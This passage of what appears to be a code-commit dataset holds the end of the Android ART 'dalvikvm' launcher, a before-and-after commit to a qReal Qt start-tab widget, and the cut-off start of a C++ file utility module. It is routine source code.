\"([Ljava\/lang\/String;)V\");\n  if (method == NULL) {\n    fprintf(stderr, \"Unable to find static main(String[]) in '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Make sure the method is public.  JNI doesn't prevent us from\n  \/\/ calling a private method, so we have to check it explicitly.\n  if (!IsMethodPublic(env, klass.get(), method)) {\n    fprintf(stderr, \"Sorry, main() is not public in '%s'\\n\", class_name.c_str());\n    env->ExceptionDescribe();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Invoke main().\n  env->CallStaticVoidMethod(klass.get(), method, args.get());\n\n  \/\/ Check whether there was an uncaught exception. We don't log any uncaught exception here;\n  \/\/ detaching this thread will do that for us, but it will clear the exception (and invalidate\n  \/\/ our JNIEnv), so we need to check here.\n  return env->ExceptionCheck() ? EXIT_FAILURE : EXIT_SUCCESS;\n}\n\n\/\/ Parse arguments.  Most of it just gets passed through to the runtime.\n\/\/ The JNI spec defines a handful of standard arguments.\nstatic int dalvikvm(int argc, char** argv) {\n  setvbuf(stdout, NULL, _IONBF, 0);\n\n  \/\/ Skip over argv[0].\n  argv++;\n  argc--;\n\n  \/\/ If we're adding any additional stuff, e.g. function hook specifiers,\n  \/\/ add them to the count here.\n  \/\/\n  \/\/ We're over-allocating, because this includes the options to the runtime\n  \/\/ plus the options to the program.\n  int option_count = argc;\n  UniquePtr<JavaVMOption[]> options(new JavaVMOption[option_count]());\n\n  \/\/ Copy options over.  Everything up to the name of the class starts\n  \/\/ with a '-' (the function hook stuff is strictly internal).\n  \/\/\n  \/\/ [Do we need to catch & handle \"-jar\" here?]\n  bool need_extra = false;\n  const char* lib = \"libdvm.so\";\n  const char* what = NULL;\n  int curr_opt, arg_idx;\n  for (curr_opt = arg_idx = 0; arg_idx < argc; arg_idx++) {\n    if (argv[arg_idx][0] != '-' && !need_extra) {\n      break;\n    }\n    if (strncmp(argv[arg_idx], \"-XXlib:\", strlen(\"-XXlib:\")) == 0) {\n      lib = argv[arg_idx] + strlen(\"-XXlib:\");\n      continue;\n    }\n\n    options[curr_opt++].optionString = argv[arg_idx];\n\n    \/\/ Some options require an additional argument.\n    need_extra = false;\n    if (strcmp(argv[arg_idx], \"-classpath\") == 0 || strcmp(argv[arg_idx], \"-cp\") == 0) {\n      need_extra = true;\n      what = argv[arg_idx];\n    }\n  }\n\n  if (need_extra) {\n    fprintf(stderr, \"%s must be followed by an additional argument giving a value\\n\", what);\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Make sure they provided a class name.\n  if (arg_idx == argc) {\n    fprintf(stderr, \"Class name required\\n\");\n    return EXIT_FAILURE;\n  }\n\n  \/\/ insert additional internal options here\n\n  if (curr_opt >= option_count) {\n    fprintf(stderr, \"curr_opt(%d) >= option_count(%d)\\n\", curr_opt, option_count);\n    abort();\n    return EXIT_FAILURE;\n  }\n\n  \/\/ Find the JNI_CreateJavaVM implementation.\n  JniInvocation jni_invocation;\n  if (!jni_invocation.Init(lib)) {\n    fprintf(stderr, \"Failed to initialize JNI invocation API from %s\\n\", lib);\n    return EXIT_FAILURE;\n  }\n\n  JavaVMInitArgs init_args;\n  init_args.version = JNI_VERSION_1_6;\n  init_args.options = options.get();\n  init_args.nOptions = curr_opt;\n  init_args.ignoreUnrecognized = JNI_FALSE;\n\n  \/\/ Start the runtime. The current thread becomes the main thread.\n  JavaVM* vm = NULL;\n  JNIEnv* env = NULL;\n  if (JNI_CreateJavaVM(&vm, &env, &init_args) != JNI_OK) {\n    fprintf(stderr, \"Failed to initialize runtime (check log for details)\\n\");\n    return EXIT_FAILURE;\n  }\n\n  int rc = InvokeMain(env, &argv[arg_idx]);\n\n#if defined(NDEBUG)\n  \/\/ The DestroyJavaVM call will detach this thread for us. In debug builds, we don't want to\n  \/\/ detach because detaching disables the CheckSafeToLockOrUnlock checking.\n  if (vm->DetachCurrentThread() != JNI_OK) {\n    fprintf(stderr, \"Warning: unable to detach main thread\\n\");\n    rc = EXIT_FAILURE;\n  }\n#endif\n\n  if (vm->DestroyJavaVM() != 0) {\n    fprintf(stderr, \"Warning: runtime did not shut down cleanly\\n\");\n    rc = EXIT_FAILURE;\n  }\n\n  return rc;\n}\n\n} \/\/ namespace art\n\nint main(int argc, char** argv) {\n  return art::dalvikvm(argc, argv);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <QtWidgets>\n#include <QtCore>\n\n#include <qrkernel\/settingsManager.h>\n#include \"dialogs\/suggestToCreateDiagramDialog.h\"\n#include \"mainwindow\/mainWindow.h\"\n#include \"startWidget.h\"\n#include \"suggestToCreateDiagramWidget.h\"\n#include \"recentProjectsListWidget.h\"\n#include \"recentProjectItem.h\"\n\nusing namespace qReal;\n\nStartWidget::StartWidget(MainWindow *mainWindow, ProjectManager *projectManager)\n\t: QWidget()\n\t, mMainWindow(mainWindow)\n\t, mProjectManager(projectManager)\n\t, mProjectListSize(5)\n\t, mStartWidgetProjectsLayout(new QVBoxLayout())\n\t, mStartWidgetSessionsLayout(new QHBoxLayout())\n{\n\tQLabel *sessions = new QLabel(tr(\"<font size = 14>Sessions<\/font>\"));\n\tQLabel *recentProjects = new QLabel(tr(\"<font size = 14>Recent projects<\/font>\"));\n\n\tinitRecentProjects();\n\n\tQVBoxLayout *sessionsLayout = new QVBoxLayout();\n\tQVBoxLayout *recentProjectsLayout = new QVBoxLayout();\n\tQHBoxLayout *mainLayout = new QHBoxLayout();\n\n\tsessionsLayout->addWidget(sessions);\n\tsessionsLayout->addLayout(mStartWidgetSessionsLayout);\n\n\trecentProjectsLayout->addWidget(recentProjects);\n\trecentProjectsLayout->addLayout( mStartWidgetProjectsLayout);\n\n\trecentProjectsLayout->addStretch(0);\n\n\tmainLayout->addLayout(sessionsLayout);\n\tQWidget *horizontalLineWidget = new QWidget();\n\thorizontalLineWidget->setFixedWidth(1);\n\thorizontalLineWidget->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding);\n\thorizontalLineWidget->setStyleSheet(QString(\"background-color: #c0c0c0;\"));\n\tmainLayout->addWidget(horizontalLineWidget);\n\tmainLayout->addLayout(recentProjectsLayout);\n\n\tsetLayout(mainLayout);\n\tQPalette pal(palette());\n\tQColor const color = QColor::fromHsl(180, 50, 240, 255);\n\tpal.setColor(QPalette::Background, color);\n\tsetAutoFillBackground(true);\n\tsetPalette(pal);\n\n\tsessionsLayout->addWidget(createCommandButton(tr(\"Open existing project\")\n\t\t\t, this, SLOT(openExistingProject()), QKeySequence::Open));\n\n\tQCommandLinkButton *openIDLink = new QCommandLinkButton(tr(\"&Open interpreted diagram\"));\n\tQCommandLinkButton *createIDLink = new QCommandLinkButton(tr(\"&Create interpreted diagram\"));\n\n\tmInterpreterButton = openIDLink;\n\tmCreateInterpreterButton = createIDLink;\n\n\tsessionsLayout->addWidget(mCreateInterpreterButton);\n\tsessionsLayout->addWidget(mInterpreterButton);\n\n\tId const theOnlyDiagram = mMainWindow->editorManager().theOnlyDiagram();\n\tif (!theOnlyDiagram.isNull()) {\n\t\tId const editor = mMainWindow->editorManager().editors()[0];\n\t\tQString diagramIdString = mMainWindow->editorManager().diagramNodeNameString(editor, theOnlyDiagram);\n\n\t\tQSignalMapper *newProjectMapper = new QSignalMapper(this);\n\t\tQCommandLinkButton *newLink = createCommandButton(tr(\"New project\")\n\t\t\t, newProjectMapper, SLOT(map()), QKeySequence::New);\n\t\tnewProjectMapper->setMapping(newLink, diagramIdString);\n\t\tconnect(newProjectMapper, SIGNAL(mapped(QString)), this, SLOT(createProjectWithDiagram(QString)));\n\n\t\tsessionsLayout->addWidget(newLink);\n\t}\n\n\tsessionsLayout->addStretch(0);\n}\n\nvoid StartWidget::openRecentProject(QString const &fileName)\n{\n\tif (mProjectManager->open(fileName)) {\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::openExistingProject()\n{\n\tif (mProjectManager->suggestToOpenExisting()) {\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::createProjectWithDiagram(QString const &idString)\n{\n\tif (mMainWindow->createProject(idString)){\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::initRecentProjects()\n{\n\tint i = 0;\n\tQString const recentProjects = SettingsManager::value(\"recentProjects\").toString();\n\tforeach (QString const &project, recentProjects.split(\";\", QString::SkipEmptyParts)) {\n\t\tQString const name = project.split(\"\/\").last().split(\"\\\\\").last();\n\t\tif (\"autosave.qrs\"== name) {\n\t\t\tQString currentProject = QString(\"<a href='%2'>%1<\/a>\").arg(tr(\"<font color='black'>•  default (current session)<\/font>\"), project);\n\t\t\tQLabel *currentProjectLabel = new QLabel(currentProject, this);\n\t\t\tmStartWidgetSessionsLayout->addSpacing(25);\n\t\t\tmStartWidgetSessionsLayout->addWidget(currentProjectLabel);\n\t\t} else {\n\t\t\tRecentProjectItem *projectWidget = new RecentProjectItem(this, name, project);\n\t\t\t\t\tmStartWidgetProjectsLayout->addWidget(projectWidget);\n\n\t\t\t++i;\n\n\t\t\tif (i == mProjectListSize) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid StartWidget::openInterpretedDiagram()\n{\n\thide();\n\tQString const fileName = mProjectManager->openFileName(tr(\"Select file with metamodel to open\"));\n\tProxyEditorManager &editorManagerProxy = mMainWindow->editorManagerProxy();\n\n\tif (!fileName.isEmpty() && mProjectManager->open(fileName)) {\n\t\t\teditorManagerProxy.setProxyManager(new InterpreterEditorManager(fileName));\n\t\t\tQStringList interpreterDiagramsList;\n\t\t\tforeach (Id const &editor, editorManagerProxy.editors()) {\n\t\t\t\t\tforeach (Id const &diagram, editorManagerProxy.diagrams(editor)) {\n\t\t\t\t\t\t\tQString const diagramNodeName = editorManagerProxy.diagramNodeName(editor.editor(), diagram.diagram());\n\t\t\t\t\t\t\tif (diagramNodeName.isEmpty()) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tinterpreterDiagramsList.append(\"qrm:\/\" + editor.editor() + \"\/\"\n\t\t\t\t\t\t\t\t\t\t\t+ diagram.diagram() + \"\/\" + diagramNodeName);\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\tforeach (QString const &interpreterIdString, interpreterDiagramsList) {\n\t\t\t\t\t\/\/ TODO: ???\n\t\t\t\t\tmMainWindow->models()->repoControlApi().exterminate();\n\t\t\t\t\tmMainWindow->models()->reinit();\n\t\t\t\t\tmMainWindow->loadPlugins();\n\t\t\t\t\tmMainWindow->createDiagram(interpreterIdString);\n\t\t\t}\n\t} else {\n\t\t\tshow();\n\t\t\teditorManagerProxy.setProxyManager(new EditorManager());\n\t}\n}\n\nvoid StartWidget::createInterpretedDiagram()\n{\n\thide();\n\tProxyEditorManager &editorManagerProxy = mMainWindow->editorManagerProxy();\n\teditorManagerProxy.setProxyManager(new InterpreterEditorManager(\"\"));\n\tbool ok = false;\n\tQString name = QInputDialog::getText(this, tr(\"Enter the diagram name:\"), tr(\"diagram name:\")\n\t\t\t\t\t, QLineEdit::Normal, \"\", &ok);\n\twhile (ok && name.isEmpty()) {\n\t\tname = QInputDialog::getText(this, tr(\"Enter the diagram name:\"), tr(\"diagram name:\")\n\t\t\t\t\t\t, QLineEdit::Normal, \"\", &ok);\n\t}\n\n\tif (ok) {\n\t\tQPair<Id, Id> editorAndDiagram = editorManagerProxy.createEditorAndDiagram(name);\n\t\tmMainWindow->addEditorElementsToPalette(editorAndDiagram.first, editorAndDiagram.second);\n\t\tmMainWindow->models()->repoControlApi().exterminate();\n\t\tmMainWindow->models()->reinit();\n\t\tmMainWindow->loadPlugins();\n\t} else {\n\t\tshow();\n\t\teditorManagerProxy.setProxyManager(new EditorManager());\n\t}\n}\n\nQCommandLinkButton *StartWidget::createCommandButton(QString const &text\n\t\t\t, QObject const *reciever, char const *slot, QKeySequence::StandardKey standartHotkey)\n{\n\tQCommandLinkButton * const result = new QCommandLinkButton(text);\n\tconnect(result, SIGNAL(clicked()), reciever, slot);\n\tQAction * const buttonAction = new QAction(this);\n\tbuttonAction->setShortcuts(standartHotkey);\n\tconnect(buttonAction, SIGNAL(triggered()), result, SLOT(animateClick()));\n\taddAction(buttonAction);\n\tresult->setToolTip(QKeySequence(standartHotkey).toString());\n\treturn result;\n}\n\nvoid StartWidget::setVisibleForInterpreterButton(bool const visible)\n{\n\tmInterpreterButton->setVisible(visible);\n\tmCreateInterpreterButton->setVisible(visible);\n}\n<commit_msg>Added plugins list into start tab<commit_after>#include <QtWidgets>\n#include <QtCore>\n\n#include <qrkernel\/settingsManager.h>\n#include \"dialogs\/suggestToCreateDiagramDialog.h\"\n#include \"mainwindow\/mainWindow.h\"\n#include \"startWidget.h\"\n#include \"suggestToCreateDiagramWidget.h\"\n#include \"recentProjectsListWidget.h\"\n#include \"recentProjectItem.h\"\n\nusing namespace qReal;\n\nStartWidget::StartWidget(MainWindow *mainWindow, ProjectManager *projectManager)\n\t: QWidget()\n\t, mMainWindow(mainWindow)\n\t, mProjectManager(projectManager)\n\t, mProjectListSize(5)\n\t, mStartWidgetProjectsLayout(new QVBoxLayout())\n\t, mStartWidgetSessionsLayout(new QHBoxLayout())\n{\n\tQLabel *sessions = new QLabel(tr(\"<font size = 14>Sessions<\/font>\"));\n\tQLabel *recentProjects = new QLabel(tr(\"<font size = 14>Recent projects<\/font>\"));\n\n\tinitRecentProjects();\n\n\tQVBoxLayout *sessionsLayout = new QVBoxLayout();\n\tQVBoxLayout *recentProjectsLayout = new QVBoxLayout();\n\tQHBoxLayout *mainLayout = new QHBoxLayout();\n\n\tsessionsLayout->addWidget(sessions);\n\tsessionsLayout->addLayout(mStartWidgetSessionsLayout);\n\n\trecentProjectsLayout->addWidget(recentProjects);\n\trecentProjectsLayout->addLayout(mStartWidgetProjectsLayout);\n\n\trecentProjectsLayout->addStretch(0);\n\n\tmainLayout->addLayout(sessionsLayout);\n\tQWidget *horizontalLineWidget = new QWidget();\n\thorizontalLineWidget->setFixedWidth(1);\n\thorizontalLineWidget->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Expanding);\n\thorizontalLineWidget->setStyleSheet(QString(\"background-color: #c0c0c0;\"));\n\tmainLayout->addWidget(horizontalLineWidget);\n\tmainLayout->addLayout(recentProjectsLayout);\n\n\tsetLayout(mainLayout);\n\tQPalette pal(palette());\n\tQColor const color = QColor::fromHsl(180, 50, 240, 255);\n\tpal.setColor(QPalette::Background, color);\n\tsetAutoFillBackground(true);\n\tsetPalette(pal);\n\n\tsessionsLayout->addWidget(createCommandButton(tr(\"Open existing project\")\n\t\t\t, this, SLOT(openExistingProject()), QKeySequence::Open));\n\n\tQSignalMapper *closeTabMapper = new QSignalMapper(this);\n\tconnect(closeTabMapper, SIGNAL(mapped(int)), this, SIGNAL(closeStartTab(int)), Qt::QueuedConnection);\n\n\tQCommandLinkButton *openIDLink = new QCommandLinkButton(tr(\"&Open interpreted diagram\"));\n\tQCommandLinkButton *createIDLink = new QCommandLinkButton(tr(\"&Create interpreted diagram\"));\n\tconnect(openIDLink, SIGNAL(clicked()), this, SLOT(openInterpretedDiagram()));\n\tconnect(createIDLink, SIGNAL(clicked()), this, SLOT(createInterpretedDiagram()));\n\tconnect(openIDLink, SIGNAL(clicked()), closeTabMapper, SLOT(map()));\n\tconnect(createIDLink, SIGNAL(clicked()), closeTabMapper, SLOT(map()));\n\n\tmInterpreterButton = openIDLink;\n\tmCreateInterpreterButton = createIDLink;\n\n\tsessionsLayout->addWidget(mCreateInterpreterButton);\n\tsessionsLayout->addWidget(mInterpreterButton);\n\n\tId const theOnlyDiagram = mMainWindow->editorManager().theOnlyDiagram();\n\tif (!theOnlyDiagram.isNull()) {\n\t\tId const editor = mMainWindow->editorManager().editors()[0];\n\t\tQString diagramIdString = mMainWindow->editorManager().diagramNodeNameString(editor, theOnlyDiagram);\n\n\t\tQSignalMapper *newProjectMapper = new QSignalMapper(this);\n\t\tQCommandLinkButton *newLink = createCommandButton(tr(\"New project\")\n\t\t\t, newProjectMapper, SLOT(map()), QKeySequence::New);\n\t\tnewProjectMapper->setMapping(newLink, diagramIdString);\n\t\tconnect(newProjectMapper, SIGNAL(mapped(QString)), this, SLOT(createProjectWithDiagram(QString)));\n\n\t\tsessionsLayout->addWidget(newLink);\n\t} else {\n\t\tSuggestToCreateDiagramWidget *suggestWidget = new SuggestToCreateDiagramWidget(mainWindow, this);\n\t\tcloseTabMapper->setMapping(suggestWidget, 0);\n\t\tconnect(suggestWidget, SIGNAL(userDataSelected(QString)), mainWindow, SLOT(createDiagram(QString)));\n\t\tconnect(suggestWidget, SIGNAL(userDataSelected(QString)), closeTabMapper, SLOT(map()));\n\t\tsessionsLayout->insertWidget(1 \/* after header *\/, suggestWidget);\n\t}\n\n\tsessionsLayout->addStretch(0);\n}\n\nvoid StartWidget::openRecentProject(QString const &fileName)\n{\n\tif (mProjectManager->open(fileName)) {\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::openExistingProject()\n{\n\tif (mProjectManager->suggestToOpenExisting()) {\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::createProjectWithDiagram(QString const &idString)\n{\n\tif (mMainWindow->createProject(idString)){\n\t\temit closeStartTab(0);\n\t}\n}\n\nvoid StartWidget::initRecentProjects()\n{\n\tint i = 0;\n\tQString const recentProjects = SettingsManager::value(\"recentProjects\").toString();\n\tforeach (QString const &project, recentProjects.split(\";\", QString::SkipEmptyParts)) {\n\t\tQString const name = project.split(\"\/\").last().split(\"\\\\\").last();\n\t\tif (\"autosave.qrs\"== name) {\n\t\t\tQString currentProject = QString(\"<a href='%2'>%1<\/a>\").arg(tr(\"<font color='black'>•  default (current session)<\/font>\"), project);\n\t\t\tQLabel *currentProjectLabel = new QLabel(currentProject, this);\n\t\t\tmStartWidgetSessionsLayout->addSpacing(25);\n\t\t\tmStartWidgetSessionsLayout->addWidget(currentProjectLabel);\n\t\t} else {\n\t\t\tRecentProjectItem *projectWidget = new RecentProjectItem(this, name, project);\n\t\t\t\t\tmStartWidgetProjectsLayout->addWidget(projectWidget);\n\n\t\t\t++i;\n\n\t\t\tif (i == mProjectListSize) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid StartWidget::openInterpretedDiagram()\n{\n\thide();\n\tQString const fileName = mProjectManager->openFileName(tr(\"Select file with metamodel to open\"));\n\tProxyEditorManager &editorManagerProxy = mMainWindow->editorManagerProxy();\n\n\tif (!fileName.isEmpty() && mProjectManager->open(fileName)) {\n\t\t\teditorManagerProxy.setProxyManager(new InterpreterEditorManager(fileName));\n\t\t\tQStringList interpreterDiagramsList;\n\t\t\tforeach (Id const &editor, editorManagerProxy.editors()) {\n\t\t\t\t\tforeach (Id const &diagram, editorManagerProxy.diagrams(editor)) {\n\t\t\t\t\t\t\tQString const diagramNodeName = editorManagerProxy.diagramNodeName(editor.editor(), diagram.diagram());\n\t\t\t\t\t\t\tif (diagramNodeName.isEmpty()) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tinterpreterDiagramsList.append(\"qrm:\/\" + editor.editor() + \"\/\"\n\t\t\t\t\t\t\t\t\t\t\t+ diagram.diagram() + \"\/\" + diagramNodeName);\n\t\t\t\t\t}\n\t\t\t}\n\n\t\t\tforeach (QString const &interpreterIdString, interpreterDiagramsList) {\n\t\t\t\t\t\/\/ TODO: ???\n\t\t\t\t\tmMainWindow->models()->repoControlApi().exterminate();\n\t\t\t\t\tmMainWindow->models()->reinit();\n\t\t\t\t\tmMainWindow->loadPlugins();\n\t\t\t\t\tmMainWindow->createDiagram(interpreterIdString);\n\t\t\t}\n\t} else {\n\t\t\tshow();\n\t\t\teditorManagerProxy.setProxyManager(new EditorManager());\n\t}\n}\n\nvoid StartWidget::createInterpretedDiagram()\n{\n\thide();\n\tProxyEditorManager &editorManagerProxy = mMainWindow->editorManagerProxy();\n\teditorManagerProxy.setProxyManager(new InterpreterEditorManager(\"\"));\n\tbool ok = false;\n\tQString name = QInputDialog::getText(this, tr(\"Enter the diagram name:\"), tr(\"diagram name:\")\n\t\t\t\t\t, QLineEdit::Normal, \"\", &ok);\n\twhile (ok && name.isEmpty()) {\n\t\tname = QInputDialog::getText(this, tr(\"Enter the diagram name:\"), tr(\"diagram name:\")\n\t\t\t\t\t\t, QLineEdit::Normal, \"\", &ok);\n\t}\n\n\tif (ok) {\n\t\tQPair<Id, Id> editorAndDiagram = editorManagerProxy.createEditorAndDiagram(name);\n\t\tmMainWindow->addEditorElementsToPalette(editorAndDiagram.first, editorAndDiagram.second);\n\t\tmMainWindow->models()->repoControlApi().exterminate();\n\t\tmMainWindow->models()->reinit();\n\t\tmMainWindow->loadPlugins();\n\t} else {\n\t\tshow();\n\t\teditorManagerProxy.setProxyManager(new EditorManager());\n\t}\n}\n\nQCommandLinkButton *StartWidget::createCommandButton(QString const &text\n\t\t\t, QObject const *reciever, char const *slot, QKeySequence::StandardKey standartHotkey)\n{\n\tQCommandLinkButton * const result = new QCommandLinkButton(text);\n\tconnect(result, SIGNAL(clicked()), reciever, slot);\n\tQAction * const buttonAction = new QAction(this);\n\tbuttonAction->setShortcuts(standartHotkey);\n\tconnect(buttonAction, SIGNAL(triggered()), result, SLOT(animateClick()));\n\taddAction(buttonAction);\n\tresult->setToolTip(QKeySequence(standartHotkey).toString());\n\treturn result;\n}\n\nvoid StartWidget::setVisibleForInterpreterButton(bool const visible)\n{\n\tmInterpreterButton->setVisible(visible);\n\tmCreateInterpreterButton->setVisible(visible);\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifdef _WIN32\n#define WIN32_LEAN_AND_MEAN\n#include <Windows.h>\n#include <direct.h>\n#else\n#include <dirent.h>\n#include <unistd.h>\n#include <errno.h>\n#endif\n#include <cstring>\n#include <string>\n#include <set>\n#include <algorithm>\n#include <stdio.h>\n#include <sys\/stat.h>\n#include <ctype.h>\n\n#include \"base\/logging.h\"\n#include \"base\/basictypes.h\"\n#include \"file\/file_util.h\"\n\n#if defined(__FreeBSD__) || defined(__APPLE__) || defined(__SYMBIAN32__)\n#define stat64 stat\n#endif\n\n#if !defined(readdir_r)\nstatic inline int readdir_r(DIR *dirp, struct dirent *entry, struct dirent **result) {\n    struct dirent *readdir_entry;\n\n    readdir_entry = readdir(dirp);\n    if (readdir_entry == NULL) {\n        *result = NULL;\n        return errno;\n    }\n\n    *entry = *readdir_entry;\n    *result = entry;\n    return 0;\n}\n#endif\n\nbool writeStringToFile(bool text_file, const std::string &str, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"w\" : \"wb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = str.size();\n\tif (len != fwrite(str.data(), 1, str.size(), f))\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tfclose(f);\n\treturn true;\n}\n\nbool writeDataToFile(bool text_file, const void* data, const unsigned int size, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"w\" : \"wb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = size;\n\tif (len != fwrite(data, 1, len, f))\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tfclose(f);\n\treturn true;\n}\n\nuint64_t GetSize(FILE *f)\n{\n\t\/\/ can't use off_t here because it can be 32-bit\n\tuint64_t pos = ftell(f);\n\tif (fseek(f, 0, SEEK_END) != 0) {\n\t\treturn 0;\n\t}\n\tuint64_t size = ftell(f);\n\t\/\/ Reset the seek position to where it was when we started.\n\tif ((size != pos) && (fseek(f, pos, SEEK_SET) != 0)) {\n\t\t\/\/ Should error here\n\t\treturn 0;\n\t}\n\treturn size;\n}\n\nbool ReadFileToString(bool text_file, const char *filename, std::string &str)\n{\n\tFILE *f = fopen(filename, text_file ? \"r\" : \"rb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = (size_t)GetSize(f);\n\tchar *buf = new char[len + 1];\n\tbuf[fread(buf, 1, len, f)] = 0;\n\tstr = std::string(buf, len);\n\tfclose(f);\n\tdelete [] buf;\n\treturn true;\n}\n\n\nbool readDataFromFile(bool text_file, unsigned char* &data, const unsigned int size, const char *filename)\n{\n\tFILE *f = fopen(filename, text_file ? \"r\" : \"rb\");\n\tif (!f)\n\t\treturn false;\n\tsize_t len = (size_t)GetSize(f);\n\tif(len < size)\n\t{\n\t\tfclose(f);\n\t\treturn false;\n\t}\n\tdata[fread(data, 1, size, f)] = 0;\n\tfclose(f);\n\treturn true;\n}\n\n\n#define DIR_SEP \"\/\"\n#define DIR_SEP_CHR '\\\\'\n\n#ifndef METRO\n\n\/\/ Remove any ending forward slashes from directory paths\n\/\/ Modifies argument.\nstatic void stripTailDirSlashes(std::string &fname)\n{\n\tif (fname.length() > 1)\n\t{\n\t\tsize_t i = fname.length() - 1;\n\t\twhile (fname[i] == DIR_SEP_CHR)\n\t\t\tfname[i--] = '\\0';\n\t}\n\treturn;\n}\n\n\/\/ Returns true if file filename exists\nbool exists(const std::string &filename)\n{\n#ifdef _WIN32\n\treturn GetFileAttributes(filename.c_str()) != 0xFFFFFFFF;\n#else\n\tstruct stat64 file_info;\n\n\tstd::string copy(filename);\n\tstripTailDirSlashes(copy);\n\n\tint result = stat64(copy.c_str(), &file_info);\n\n\treturn (result == 0);\n#endif\n}\n\n\/\/ Returns true if filename is a directory\nbool isDirectory(const std::string &filename)\n{\n\tFileInfo info;\n\tgetFileInfo(filename.c_str(), &info);\n\treturn info.isDirectory;\n}\n\nbool getFileInfo(const char *path, FileInfo *fileInfo)\n{\n\t\/\/ TODO: Expand relative paths?\n\tfileInfo->fullName = path;\n\n#ifdef _WIN32\n\tDWORD attributes = GetFileAttributes(path);\n\tfileInfo->isDirectory = (attributes & FILE_ATTRIBUTE_DIRECTORY) != 0;\n\tfileInfo->isWritable = (attributes & FILE_ATTRIBUTE_READONLY) == 0;\n#else\n\tstruct stat64 file_info;\n\n\tstd::string copy(path);\n\tstripTailDirSlashes(copy);\n\n\tint result = stat64(copy.c_str(), &file_info);\n\n\tif (result < 0) {\n\t\tWLOG(\"IsDirectory: stat failed on %s\", path);\n\t\treturn false;\n\t}\n\n\tfileInfo->isDirectory = S_ISDIR(file_info.st_mode);\n\tfileInfo->isWritable = false;\n\t\/\/ HACK: approximation\n\tif (file_info.st_mode & 0200)\n\t\tfileInfo->isWritable = true;\n#endif\n\treturn true;\n}\n\nstd::string getFileExtension(const std::string &fn) {\n\tint pos = fn.rfind(\".\");\n\tif (pos < 0) return \"\";\n\tstd::string ext = fn.substr(pos+1);\n\tfor (size_t i = 0; i < ext.size(); i++) {\n\t\text[i] = tolower(ext[i]);\n\t}\n\treturn ext;\n}\n\nsize_t getFilesInDir(const char *directory, std::vector<FileInfo> *files, const char *filter) {\n\tsize_t foundEntries = 0;\n\tstd::set<std::string> filters;\n\tstd::string tmp;\n\tif (filter) {\n\t\twhile (*filter) {\n\t\t\tif (*filter == ':') {\n\t\t\t\tfilters.insert(tmp);\n\t\t\t\ttmp = \"\";\n\t\t\t} else {\n\t\t\t\ttmp.push_back(*filter);\n\t\t\t}\n\t\t\tfilter++;\n\t\t}\n\t}\n#ifdef _WIN32\n\t\/\/ Find the first file in the directory.\n\tWIN32_FIND_DATA ffd;\n#ifdef UNICODE\n\tHANDLE hFind = FindFirstFile((std::wstring(directory) + \"\\\\*\").c_str(), &ffd);\n#else\n\tHANDLE hFind = FindFirstFile((std::string(directory) + \"\\\\*\").c_str(), &ffd);\n#endif\n\tif (hFind == INVALID_HANDLE_VALUE) {\n\t\tFindClose(hFind);\n\t\treturn 0;\n\t}\n\t\/\/ windows loop\n\tdo\n\t{\n\t\tconst std::string virtualName(ffd.cFileName);\n#else\n\tstruct dirent_large { struct dirent entry; char padding[FILENAME_MAX+1]; };\n\tstruct dirent_large diren;\n\tstruct dirent *result = NULL;\n\n\tDIR *dirp = opendir(directory);\n\tif (!dirp)\n\t\treturn 0;\n\t\/\/ non windows loop\n\twhile (!readdir_r(dirp, (dirent*) &diren, &result) && result)\n\t{\n\t\tconst std::string virtualName(result->d_name);\n#endif\n\t\t\/\/ check for \".\" and \"..\"\n\t\tif (((virtualName[0] == '.') && (virtualName[1] == '\\0')) ||\n\t\t\t((virtualName[0] == '.') && (virtualName[1] == '.') && \n\t\t\t(virtualName[2] == '\\0')))\n\t\t\tcontinue;\n\n\t\t\/\/ Remove dotfiles (should be made optional?)\n\t\tif (virtualName[0] == '.')\n\t\t\tcontinue;\n\n\t\tFileInfo info;\n\t\tinfo.name = virtualName;\n\t\tinfo.fullName = std::string(directory) + \"\/\" + virtualName;\n\t\tinfo.isDirectory = isDirectory(info.fullName);\n\t\tinfo.exists = true;\n\t\tif (!info.isDirectory) {\n\t\t\tstd::string ext = getFileExtension(info.fullName);\n\t\t\tif (filter) {\n\t\t\t\tif (filters.find(ext) == filters.end())\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tfiles->push_back(info);\n#ifdef _WIN32\n\t} while (FindNextFile(hFind, &ffd) != 0);\n\tFindClose(hFind);\n#else\n\t}\n\tclosedir(dirp);\n#endif\n\tstd::sort(files->begin(), files->end());\n\treturn foundEntries;\n}\n\nvoid deleteFile(const char *file)\n{\n#ifdef _WIN32\n\tif (!DeleteFile(file)) {\n\t\tELOG(\"Error deleting %s: %i\", file, GetLastError());\n\t}\n#else\n\tint err = unlink(file);\n\tif (err) {\n\t\tELOG(\"Error unlinking %s: %i\", file, err);\n\t}\n#endif\n}\n#endif\n\nstd::string getDir(const std::string &path)\n{\n\tif (path == \"\/\")\n\t\treturn path;\n\tint n = path.size() - 1;\n\twhile (n >= 0 && path[n] != 